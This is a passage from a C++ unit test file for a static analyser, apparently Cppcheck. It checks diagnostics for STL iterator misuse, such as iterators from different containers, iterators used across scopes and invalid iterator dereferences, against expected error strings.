s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" 